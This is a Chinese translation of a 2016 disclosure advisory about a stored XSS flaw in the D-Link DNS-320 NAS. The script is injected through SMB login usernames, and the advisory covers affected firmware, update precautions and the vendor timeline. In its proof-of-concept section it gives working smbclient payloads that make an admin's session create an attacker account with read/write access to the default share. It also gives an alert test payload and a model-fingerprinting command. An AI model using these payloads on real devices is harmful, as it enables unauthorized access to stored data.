1.前言
D-Link DNS-320是一款NAS网络存储器(http://www.dlink.com/uk/en/support/product/dns-320-2-bay-sharecenter-network-storage-enclosure).
该设备允许用户通过SMB(服务器信息块)访问存储数据,并且可以通过一个web界面对它进行配置。
然而,这个web管理界面包含一个存储型跨站点脚本漏洞,利用的是一个未经身份验证的SMB登录尝试(445/tcp)。当受害者登录web管理界面时,注入的代码就会执行。
这个漏洞可以通过web界面读写设置信息。最终,攻击者可能会获得设备上存储的数据的完整读写权限。
与反射XSS漏洞不同的是,它不需要受害者打开一个攻击者提供的链接或访问恶意网页。这是一个相对少见的XSS漏洞, 不管受害者是直接还是间接地访问有漏洞的web应用程序,恶意代码都可以被注入。因此,即使端口80/tcp(HTTP)和443/tcp(HTTPS)的访问被禁,仍然可以利用这个漏洞。
CVE-ID
目前,MITRE并没有为这个漏洞指定一个CVE-ID,可以参阅下面的链接了解一些背景知识:http://seclists.org/oss-sec/2016/q1/512。
2.漏洞细节
D-Link DNS-320将失败的SMB登录尝试保存在一个日志文件中。当使用一个不存在的用户名进行登陆尝试时,这个用户名会被保存起来,随后未加清理就显示出来。这就是该漏洞利用的注入点。日志文件的内容可以在设备的web界面查看;在一个专门的页面(管理- >系统管理- >日志:
<http://<IP>/web/management.html?id=log>)
或在主页上
<http://<IP>/web/home.html>
这两个页面都有相同的漏洞,但由于主页在登录成功后会自动加载,所以注入代码会立即运行,不能进行进一步的用户交互。
由于恶意代码使用SMB协议注入,而不是使用导致其最终执行的HTTP协议,因此阻止外部访问web界面并不能防止这个漏洞的利用。
3.漏洞利用/概念证明
由于这个漏洞的本质,自动化地将恶意代码注入到一系列含有此漏洞的设备中是很容易的。
以下两个smbclient命令作为一个概念证明。它们的目的是注入一段代码,用来创建一个使用攻击者选择的密码的新用户。此外,它会向这个新用户提供设备默认共享盘(“Volume_1”) 的读/写权限;默认情况下,可以获得存储在主硬盘驱动器上数据的完整读写权限。
1
|
<span style="font-family: 微软雅黑, 'Microsoft YaHei';">smbclient -U '<img src=/cgi-bin/account_mgr.cgi?cmd=cgi_adduser_to_session&s_name=Volume_1&ftp=true&read_list=&write_list=baduser&decline_list=&username=baduser&>' -N '\\x\Volume_1' -I <TARGET IP><br> <br>smbclient -U '<img src=/cgi-bin/account_mgr.cgi?cmd=cgi_user_add&name=baduser&pw=badpass&>' -N '\\x\Volume_1' -I <TARGET IP></span>
|
一旦管理员登录到设备的web界面,这段代码将会执行:创建一个使用攻击者选择的密码的新用户,获取共享盘“Volume_1”的读/写权限。
如果想要确认一个设备是否是脆弱型号之一,可以使用rpcclient。在输入querydominfo命令后,可以在“Comment”旁边找到型号名:
[~] $ rpcclient -U "" -N <TARGET IP>
rpcclient $> querydominfo
Domain: WORKGROUP
Server: DLINK-EXXXXX
Comment: DNS-320 <===== Model
Total Users: 3
[...]
一些读者可能想要验证他们的设备上是否存在该漏洞,但又不想进行配置更改。在这种情况下,可以使用以下命令:
1
|
smbclient -U
'a<img src=x onerror=eval("alert(String.fromCharCode(88,83,83,64)+document.domain)")>b'
-N
'\\x\Volume'
-I <TARGET IP>
|
如果设备的确包含有该漏洞,那么用户在下次登录到设备的web界面时,将会看到一个带有“XSS”字符串的弹出窗口:
4.影响的设备/版本
这个漏洞最初是在一个运行固件版本2.05 b8(也称为:“2.13.0507.2014”)的D-Link DNS-320 rev A的设备上发现的。但是,根据D-Link的消息,以下设备和版本也存在这个漏洞:
此外,早期和后来的版本也有可能受到该漏洞的影响。
5.给终端用户的建议
存在漏洞的设备应该禁止来自不受信任和潜在的恶意网络的访问。如果你觉得这些访问有问题,请立即终止连接。
如果一个存在漏洞的设备没有连接到互联网上,而是存在于本地网络,那么最大的风险可能来自恶意软件,更具体地说是勒索软件。
勒索软件正变得越来越强大,而且这种发展还不受到感染和躲避机制的局限。未来勒索软件可能会适应其周围环境,让自己的影响达到最大化,随后,受害者支付赎金的可能性也会大大增加。
NAS设备通常用于存储用户认为重要的备份数据。本文描述的漏洞可以使得勒索软件在下一次受害者登陆web管理界面时删除NAS设备上的数据。
因此,建议终端用户首先确定自己设备上安装的固件版本是否含有该漏洞,如果有,请及时进行固件更新。
确定当前安装的固件版本
当前安装的固件版本可以通过web管理界面确认。
根据D-Link的未来版本控制系统,也许有必要使用固件的日期来区分是否含有该漏洞。
例如,如果型号是DNS-320 rev A,web界面显示的固件版本是“2.05”,那么含有漏洞的固件版本可以通过显示的日期“05/07/2014”(或更早)来确认:
Current NAS Firmware Version 2.05
Firmware Date 05/07/2014
如果在今年晚些时候发布的固件版本2.05 b99中修复了该漏洞,那么web界面显示的固件版本可能如下所示:
Current NAS Firmware Version 2.05
Firmware Date 12/12/2016
具体含有漏洞的设备和版本请参考第4节。
固件更新时的建议
如果D-Link在固件更新中解决了这个漏洞,其安装程序会要求用户登录到存在漏洞的web界面。然而,如果攻击者已经设法在web界面存储了恶意代码,那么登陆去安装更新可能会执行这段代码。
不过,在写这篇文章时,还没有存在已知的针对该漏洞的野外攻击,但是,在更新时也应该采取一些预防措施,使得应用更新以一个安全的方式进行:
将设备和用于管理设备的计算机从所有网络中断开;
为了降低相关硬盘上数据的风险,在登录到web界面之前:关掉设备、断开所有的硬盘,只保留一个,并且不能保存重要数据、重新打开设备;
为了减少一些漏洞利用尝试所带来的风险:检查所有可疑的或多余的配置选项,尤其是那些与“账户管理”有关的配置,或恢复默认的配置选项/工厂设置(系统管理- >系统设置- >默认值- >恢复);
下载并进行固件更新。
6.时间轴
2016-01-11:试图通过web表单向D-Link报告漏洞。
2016-01-21:十天后:仍然没有反应。
2016-01-21:联系security@dlink.com(遵照安全事件响应策略)。
2016-01-21: D-Link在几分钟内响应。
2016-01-22:发送漏洞报告。
2016-01-26: D-Link证实了该漏洞。
2016-02-11:通过cve-assign@mitre.org向MITRE提出CVE-ID请求。
2016-02-12: MITRE驳回了请求。
2016-02-27: D-Link提供预览版更新固件来验证修复。
2016-03-01:对固件进行了评估,并向D-Link发送确认书。
2016-06-08:要求D-Link进行状态更新。
2016-07-08:(一个月后:仍然没有反应。)
2016-07-08:要求D-Link发布状态更新。
2016-07-13: D-Link表示更新固件已经发布在论坛上了,剩下的更新会在“本周结束7/15”发布。
2016-07-19:向D-Link请求更新消息的直接链接。
2016-08-02:两周后:仍然没有反应。
2016-08-02:本文发表。
原文链接:http://b.fl7.de/2016/08/d-link-nas-dns-xss-via-smb.html
本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。